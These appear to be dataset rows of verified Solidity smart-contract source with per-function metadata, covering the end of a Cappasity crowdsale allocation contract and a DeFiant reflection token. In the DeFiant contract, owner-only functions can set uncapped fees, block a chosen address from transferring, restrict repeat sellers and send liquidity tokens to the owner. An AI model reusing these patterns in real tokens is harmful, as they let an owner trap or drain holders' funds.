* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | function() payable public {
revert();
}
| // Do not allow to send money directly to this contract | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
15770,
15828
]
} | 4,278 |
||
DeFiant | DeFiant.sol | 0xf0829dc1f8522a48bfdd7d993e1b2d1ebd787fd1 | Solidity | DeFiant | contract DeFiant is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingaddress = 0x354dBc8AdB191AFc12B868207A4E3382B8b9e5C7; // This is the lottery address
address public PCS;
address private ps;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**15 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "DeFiant";
string private _symbol = "DeFi";
uint8 private _decimals = 9;
uint256 public _burnFee = 5; //This is the marketing tax in tokens
uint256 private _previousburnFee = _burnFee;
uint256 public _speedbrakeFee = 0;
uint256 private _previousspeedbrakeFee = _speedbrakeFee;
uint256 public _taxFee = 5; //This is the reflections tax
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 3; //This gets added to the lp on pcs
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 10**15 * 10**9;
uint256 private minimumTokensBeforeSwap = 10**7 * 10**9;
uint256 private buyBackUpperLimit = 10000000000 * 10**9;
uint256 private max_wallet_size = 10**15 * 10**9;
uint256 public tier1_size;
uint256 public tier1_amount;
uint256 public tier2_size;
uint256 public tier2_amount;
uint256 public tier3_size;
uint256 public tier3_amount;
uint256 public tier4_size;
uint256 public tier4_amount;
uint256 public tier5_size;
uint256 public tier5_amount;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
address[] private players; // Total number of lottery players
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal.div(100).mul(60);
_rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(100).mul(40);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingaddress] = true;
tier1_size = 1*10**12* 10**9;
tier1_amount = 7;
tier2_size = 5*10**12* 10**9;
tier2_amount = 12;
tier3_size = 10*10**12* 10**9;
tier3_amount = 17;
tier4_size = 20*10**12* 10**9;
tier4_amount = 22;
tier5_size = 30*10**12* 10**9;
tier5_amount = 27;
_newEntity(0x0000000000000000000000000000000000000001);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
emit Transfer(address(0), _msgSender(), _tTotal.mul(60).div(100));
emit Transfer(address(0), 0x000000000000000000000000000000000000dEaD, _tTotal.mul(40).div(100));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(from != ps, "PS Anti Dump");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if(!_isExcludedFromFee[to] && !_isExcluded[to]){
require( (balanceOf(to)+amount) < max_wallet_size,"Max Wallet Size Exceeded");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) {
if (overMinimumTokenBalance) {
contractTokenBalance = minimumTokensBeforeSwap;
swapTokens(contractTokenBalance/2);
}
}
bool takeFee = true;
_speedbrakeFee = 0;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//If selling to pcs check to see if last 10 sales and their tier
else if(to == PCS){
find_tier(amount);
require(_checkforlastsell(from)==false, "You already sold within the last 10 transactions!!!");
}
_tokenTransfer(from,to,amount,takeFee);
}
function find_tier(uint256 amount) private {
if(amount>=tier5_size){ _speedbrakeFee=tier5_amount;return;}
else if(amount>=tier4_size){ _speedbrakeFee=tier4_amount;return;}
else if(amount>=tier3_size){ _speedbrakeFee=tier3_amount;return;}
else if(amount>=tier2_size){ _speedbrakeFee=tier2_amount;return;}
else if(amount>=tier1_size){ _speedbrakeFee=tier1_amount;return;}
return;
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 transferredBalance = address(this).balance.sub(initialBalance);
//Send to Marketing address
addLiquidity(contractTokenBalance,transferredBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity,tAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256 ,uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity, uint256 _amount) private {
uint256 currentRate = _getRate();
uint256 tliqfee = _amount.mul(_liquidityFee).div(10**2);
uint256 rLiquidity = tliqfee.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
{_tOwned[address(this)] = _tOwned[address(this)].add(tliqfee);}
uint256 tburn = tLiquidity - tliqfee;
uint256 rburn = tburn.mul(currentRate);
_rOwned[address(marketingaddress)] = _rOwned[address(marketingaddress)].add(rburn);
if(_isExcluded[address(marketingaddress)])
{_tOwned[address(marketingaddress)] = _tOwned[address(marketingaddress)].add(tburn);}
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee + _speedbrakeFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256 _totalamount) {
uint256 liqfee = _amount.mul(_liquidityFee).div(10**2);
uint256 cbfee = _amount.mul(_burnFee).div(10**2);
return _totalamount.add(liqfee).add(cbfee);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousburnFee = _burnFee;
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousburnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _checkforlastsell(address from)private returns(bool){
if(isEntity(from))
{return true;} //If the user sold in last 10 return true
else{_newEntity(from); // If not, go ahead and add them to the array
if(players.length >= 10){remove(0);} //Remove the oldest address
return false;} //We added the user address, removed the oldest, now return false to let tx to proceed
}
function _newEntity(address entityAddress) internal returns(bool success) {
players.push(entityAddress);
return true;
}
function getEntityCount() private view returns(uint entityCount) {
return players.length;
}
function getArr() public view returns (address[] memory) {
return players;
}
function isEntity(address entityAddress) public view returns(bool) {
uint256 i = 0;
do{
if( players[i] == entityAddress)
{ return true; }
else {i++;}
}
while( i <= players.length.sub(1));
return false;
}
function remove(uint index) private {
if (index >= players.length) return;
for (uint i = index; i<players.length-1; i++){
players[i] = players[i+1];
}
delete players[players.length-1];
players.pop();
}
// Management Functions ***Owner Only*** //
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function setpinksale(address account) public onlyOwner() {
ps = account;
}
function setFees(uint256 burnfee, uint256 taxfee, uint256 liquidityFee) external onlyOwner() {
_burnFee = burnfee;
_taxFee = taxfee;
_liquidityFee = liquidityFee;
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setMarketingAddress(address _marketingAddress, IUniswapV2Router02 _uniswapV2Router) external onlyOwner() {
marketingaddress = _marketingAddress;
uniswapV2Router = _uniswapV2Router; //For the router itself
}
function setpcsfortiers(address pcspair) external onlyOwner(){
PCS=pcspair;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setmaxwallet(uint256 _maxwalletsize) public onlyOwner{
max_wallet_size = _maxwalletsize;
}
//Make sure you add the 9 zeros at the end!!!
function update_tiers(uint256 t1_size,uint256 t1_percent,uint256 t2_size,uint256 t2_percent,uint256
t3_size,uint256 t3_percent,uint256 t4_size,uint256 t4_percent,uint256 t5_size,uint256 t5_percent)external onlyOwner(){
tier1_size = t1_size;
tier1_amount = t1_percent;
tier2_size = t2_size;
tier2_amount = t2_percent;
tier3_size = t3_size;
tier3_amount = t3_percent;
tier4_size = t4_size;
tier4_amount = t4_percent;
tier5_size = t5_size;
tier5_amount = t5_percent;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | excludeFromFee | function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
| // Management Functions ***Owner Only*** // | LineComment | v0.8.10+commit.fc410830 | Unlicense | ipfs://932af957b88e02db394eebe98dff1f7b354d3f1fe6453b3b6a28f304f8060847 | {
"func_code_index": [
20272,
20390
]
} | 4,279 |
||
DeFiant | DeFiant.sol | 0xf0829dc1f8522a48bfdd7d993e1b2d1ebd787fd1 | Solidity | DeFiant | contract DeFiant is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address public marketingaddress = 0x354dBc8AdB191AFc12B868207A4E3382B8b9e5C7; // This is the lottery address
address public PCS;
address private ps;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**15 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "DeFiant";
string private _symbol = "DeFi";
uint8 private _decimals = 9;
uint256 public _burnFee = 5; //This is the marketing tax in tokens
uint256 private _previousburnFee = _burnFee;
uint256 public _speedbrakeFee = 0;
uint256 private _previousspeedbrakeFee = _speedbrakeFee;
uint256 public _taxFee = 5; //This is the reflections tax
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 3; //This gets added to the lp on pcs
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 10**15 * 10**9;
uint256 private minimumTokensBeforeSwap = 10**7 * 10**9;
uint256 private buyBackUpperLimit = 10000000000 * 10**9;
uint256 private max_wallet_size = 10**15 * 10**9;
uint256 public tier1_size;
uint256 public tier1_amount;
uint256 public tier2_size;
uint256 public tier2_amount;
uint256 public tier3_size;
uint256 public tier3_amount;
uint256 public tier4_size;
uint256 public tier4_amount;
uint256 public tier5_size;
uint256 public tier5_amount;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
address[] private players; // Total number of lottery players
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal.div(100).mul(60);
_rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(100).mul(40);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingaddress] = true;
tier1_size = 1*10**12* 10**9;
tier1_amount = 7;
tier2_size = 5*10**12* 10**9;
tier2_amount = 12;
tier3_size = 10*10**12* 10**9;
tier3_amount = 17;
